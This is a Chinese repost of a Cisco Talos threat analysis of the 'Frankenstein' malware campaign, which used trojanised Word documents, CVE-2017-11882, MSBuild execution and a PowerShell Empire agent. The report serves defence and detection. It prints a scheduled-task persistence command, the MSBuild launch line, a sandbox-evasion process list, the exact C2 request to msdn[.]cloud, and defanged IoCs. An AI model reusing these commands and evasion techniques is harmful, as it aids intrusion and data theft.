使用开源代码拼凑出恶意代码:Frankenstein恶意活动分析

栏目: ASP.NET · 发布时间: 5年前

内容简介:摘要Cisco Talos最近发现了一系列恶意文件,我们认为这些文件是作为“Frankenstein”恶意活动中协调网络攻击的一部分。根据我们的评估,攻击者在2019年1月至4月期间执行了一系列操作,以便通过恶意文档的方式,在用户的计算机上安装恶意软件。我们评估此恶意活动是针对特定目标的,因为各种恶意软件存储库中的此类文档数量很少。“Frankenstein”这个名字指的是攻击者将几个不相关的组件拼凑在一起的能力,他们使用四种不同的开源技术来构建恶意活动期间所使用的工具。该恶意活动使用以下组件:

摘要

Cisco Talos最近发现了一系列恶意文件,我们认为这些文件是作为“Frankenstein”恶意活动中协调网络攻击的一部分。根据我们的评估,攻击者在2019年1月至4月期间执行了一系列操作,以便通过恶意文档的方式,在用户的计算机上安装恶意软件。我们评估此恶意活动是针对特定目标的,因为各种恶意软件存储库中的此类文档数量很少。“Frankenstein”这个名字指的是攻击者将几个不相关的组件拼凑在一起的能力,他们使用四种不同的开源技术来构建恶意活动期间所使用的工具。

该恶意活动使用以下组件:

1. 一篇文章,用于检测我们的样本何时在虚拟机中运行;

2. 利用MSbuild执行PowerShell命令的GitHub项目;

3. GitHub项目中一个名为“Fruityc2”的组件,用于构建一个阶段的恶意工具;

4. 一个名为“PowerShell Empire”的GitHub项目,用于进行代理。

我们认为,“Frankenstein”恶意活动背后的威胁行为者具有中等技术水平,并且具有丰富的资源。攻击者对开源解决方案的偏好已经成为了该恶意组织的一大趋势,根据这种趋势,他们越来越多地使用公开的解决方案,可能会有助于提高运营的安全性。这些混淆技术需要网络防御者修改其程序和防御模式,以有效检测到此类威胁。

本报告该输了整个“Frankenstein”恶意活动中使用的各种反检测技术。其中一些技术包括检查是否有任何分析工具(例如:Process Explorer)在后台运行,以及确定样本是否位于虚拟机中。威胁参与者还采取了其他方法,仅响应包含预定义字段的GET请求,例如不存在的用户代理字符串、会话Cookie、域名上的特定目录等。威胁参与者还使用不同类型的加密方法来保护传输中的数据。

木马化文档分析

Talos团队已经确定了与这一恶意活动相关的两种不同的感染媒介。为了对潜在目标造成实际危害,威胁行为者可能通过电子邮件来发送木马化的Microsoft Word文档。第一个向量依赖于一个获取远程模板后利用已知漏洞的木马化文档。第二个向量是一个木马化的Word文档,会提示受害者启用宏,随后运行Visual Basic脚本。由于威胁行为者所使用的C2的重复,我们能够将这两种技术与同一个威胁活动相关联。

在第一个场景中,Talos发现了一个名为“MinutesofMeeting-2May19.docx”的文件,该文件似乎展示了约旦的国旗。一旦受害者打开文档,该文档就会从威胁活动者控制的网站上获取一个远程模板(hxxp://droobox[.]online:80/luncher.doc)。在下载luncher.doc之后,将会利用CVE-2017-11882漏洞,在受害者的主机上执行代码。在漏洞利用之后,该文件会运行命令脚本,设置一个名为“WinUpdate”的任务,以保证其持久性。

“/Create /F /SC DAILY /ST 09:00 /TN WinUpdate /TR”

该计划任务将运行一系列经过Base64编码后的PowerShell命令,这些命令充当Stager,我们将在下一节中更详细地分析该Stager。

MinutesofMeeting-2May19.docx样本:

使用开源代码拼凑出恶意代码:Frankenstein恶意活动分析

我们分析的一个恶意样本,在出现的提示中要求受害者启用“已经经过卡巴斯基(Kaspersky)进行安全防护的宏”,卡巴斯基是一家著名的反病毒公司。尽管威胁行为者通常会为恶意文档创建虚假的安全标签,但这种技术也可能表明威胁行为者已经对目标受害者进行了侦查,说明这些文档在某种程度上已经进行了社会工程学方面的设计。

恶意Microsoft Word文档示例:

使用开源代码拼凑出恶意代码:Frankenstein恶意活动分析

我们发现的与该恶意组织相关的另外两份文件似乎更加具有针对性。其中一份文件包含一些徽标,似乎与某些中东国家的政府机构相关,而另一份文件中显示了一些未标明建筑物的图像,这些图像可能是一些精心挑选的目标建筑物。

包含官方徽标的特洛伊木马化文档:

使用开源代码拼凑出恶意代码:Frankenstein恶意活动分析

包含不明建筑物图像的木马化文档:

使用开源代码拼凑出恶意代码:Frankenstein恶意活动分析

Visual Basic脚本及反分析功能

一旦用户启用了宏,就会开始执行强大的Visual Basic应用程序(VBA)脚本。VBA脚本中包含两个反分析功能。首先,它将查询Windows Management Instrumentation(WMI),以检查下面的应用程序是否正在运行:

·VMWare

· Vbox

· Process Explorer

· Process Hacker

· ProcMon

· Visual Basic

· Fiddler

· WireShark

接下来,脚本将检查下列任务是否正在运行:

· VMWare

· Vbox

· VxStream

· AutoIT

· VMtools

· TCPView

· WireShark

· Process Explorer

· Visual Basic

· Fiddler

宏代码的副本,用于检查具有分析功能的应用程序:

使用开源代码拼凑出恶意代码:Frankenstein恶意活动分析

如果在遍历过程中,发现任意一个上述应用程序或任务名称,则脚本将停止执行。下一个逃避检测的技术是调用WMI,并确定分配给系统的核心数。如果核心数小于2,则脚本将停止执行,最终用户会收到一条弹出的消息,表示“该文件与您的Microsoft Office版本不兼容”。根据我们的评估,此技术是在2015 TrustedSec报告之后创建的模型,用于检测样本是在虚拟机还是在沙箱环境中运行。

一旦逃避检测的检查完成,威胁参与者就会利用MSbuild执行名为“LOCALAPPDATA\Intel\instal.xml”的文件,该文件由攻击者创建。基于词法分析,我们以较高置信度评估红脚本的这个组件是一个名为“MSBuild-inline-task”的开源项目。尽管这种技术在去年曾经被记录,但是很少有人观察到它被用于实际运营。Talos推测攻击者之所以选择MSBuild,是因为它是一个经过签名的Microsoft二进制文件,这意味着它可以在用于执行任意代码时,绕过主机上的应用程序白名单控件。

威胁参与者版本的MSbuild-inline-task的副本:

使用开源代码拼凑出恶意代码:Frankenstein恶意活动分析

该文件的最后一行,将从命令行中运行经过编码后的命令:

cmd.exe /c C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe LOCALAPPDATA\Intel\instal.xml C:\Windows\System32

一旦“instal.xml”文件开始执行,它就会对Base64编码后的命令进行反混淆处理。这一过程中,揭示了一个旨在获得额外Payload的Stager或小脚本。在分析这个Stager时,我们注意到了它与FruityC2 PowerShell代理的“Get-Data”功能具有一些相似之处。一个值得注意的区别在于,这个特定的Stager包括允许Stager通过加密的RC4字节流与命令和控制(C2)通信的功能。在此样本中,威胁参与者的C2服务器使用了msdn[.]cloud作为域名。我们可以在下图中看到反混淆的Stager的副本:

使用开源代码拼凑出恶意代码:Frankenstein恶意活动分析

在成功执行后,Stager将连接到C2。但是,为了接收代理,请求需要包含正确的目录、用户代理(User-Agent)字符串和会话(Session)Cookie。预期的GET请求类似如下:

·GET /FC001/JOHN HTTP/1.1

· Cookie: session=drYuSCFQdbQYHozM2dku17KYkY8=

· User-Agent: Microsoft Internet Explorer

· Host: msdn[.]cloud

· Connection: Keep-Alive

如果成功,C2将会返回一串字符。一旦字符串被RC4解密,则会启动一个PowerShell Empire代理。PowerShell脚本将会尝试遍历主机,以查找某些信息,例如:

1. 用户名

2. 域名

3. 主机名称

4. 公网IP地址

5. 检查当前用户是否具有管理员权限

6. 调用WMI以获取操作系统版本

7. 获得安全系统的SHA256 HMAC

一旦获得上述信息,就会将其发送至威胁行为者的C2。与Stager类似,除了使用特定的用户代理字符串和会话密钥之外,代理还包含通过加密通道(在我们所分析的样本中,为AES-CBC)进行通信的功能。该代理将允许威胁参与者与代理远程交互,从而上传和下载文件,并使用与Empire兼容的各种插件,例如用于在受害者计算机上获取凭据的插件。尽管这个威胁表现出复杂的迹象,但有一些小的组件被忽略了。例如,似乎威胁参与者忘记为Empire代理配置某些组件,比如为某些变量(例如WORKING_HOURS_REPLACE和REPLACE_KILLDATE)预留出占位符值。

总结

攻击者对开源解决方案的偏好似乎已经成为了一大重要趋势,在这种趋势的指引下,攻击者越来越广泛地使用公开发布的工具,这使得他们的工具集与完全自定义的 工具 集相比具有一些优势。利用自定义工具的恶意活动更容易追溯到工具的开发人员。其中一个例子是,VPNFilter恶意软件中的代码重复,允许我们将恶意活动与BlackEnergy恶意软件相关联。相比之下,如果没有额外的分析和归因,要将使用开源框架进行的恶意活动归因出幕后黑手是极为困难的。在过去几年中,已经有多个使用开源技术的高级威胁实例,例如MuddyWater等。这种不断增长的趋势,展现出训练有素的恶意运营人员正越来越多地使用简单的工具来实现他们的目标。

检测

用户可以通过以下方案检测并阻止次威胁。

高级恶意软件防护(AMP)非常适合于防范本文中所分析的恶意软件。

云网络安全(CWS)或网络安全设备(WSA)Web扫描可防范访问恶意网站,并且可以检测这些攻击中所使用的恶意软件。

电子邮件安全可以阻止威胁参与者作为其恶意活动的一部分所发送的恶意电子邮件。

下一代防火墙(NGFW)、下一代入侵防御系统(NGIPS)和Meraki MX等网络安全设备可以检测与此威胁相关的恶意活动。

Threat Grid有助于识别恶意二进制文件,并为安全产品构建保护。

安全互联网网关(SIG)可以同时针对公司网络和外部网络阻止用户连接到恶意域名、恶意IP和恶意URL。

Firepower管理中心提供针对特定环境和威胁数据的附加保护。

订阅开源Snort规则集可以及时更新规则包,从而保证威胁来源的同步。

IoC

哈希值:

· 418379fbfe7e26117a36154b1a44711928f52e33830c6a8e740b66bcbe63ec61

· 50195be1de27eac67dd3e5918e1fc80acaa16159cb48b4a6ab9451247b81b649

· 6b2c71bfc5d2e85140b87c801d82155cd9abd97f84c094570373a9620e81cee0

· 6be18e3afeec482c79c9dea119d11d9c1598f59a260156ee54f12c4d914aed8f

· 6e6e7ac84b1b0a0ae833ef2cb56592e1a7efc00ffad9b06bce7e676befc84185

· b2600ac9b83e5bb5f3d128dbb337ab1efcdc6ce404adb6678b062e95dbf10c93

URL:

· hxxp://droobox[.]online/luncher.doc

· hxxp://msdn[.]cloud/FC001/JOHN

· hxxp://search-bing[.]site/FC003/User=H6szn1woY2pLV

域名:

· msdn[.]cloud

· search-bing[.]site

·droobox[.]online


以上所述就是小编给大家介绍的《使用开源代码拼凑出恶意代码:Frankenstein恶意活动分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

《数据结构》算法实现及解析

《数据结构》算法实现及解析

高一凡 / 西安电子科技大学出版社 / 2002-10-1 / 35.0

《数据结构算法实现及解析》配有光盘,光盘中包括书中所有程序及用标准C语言改写的程序。所有程序均在计算机上运行通过。《数据结构算法实现及解析》适用于使用教科书的大中专学生和自学者。书中的基本操作函数也可供从事计算机工程与应用工作的科技人员参考和采用。一起来看看 《《数据结构》算法实现及解析》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

随机密码生成器
随机密码生成器

多种字符组合密码

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具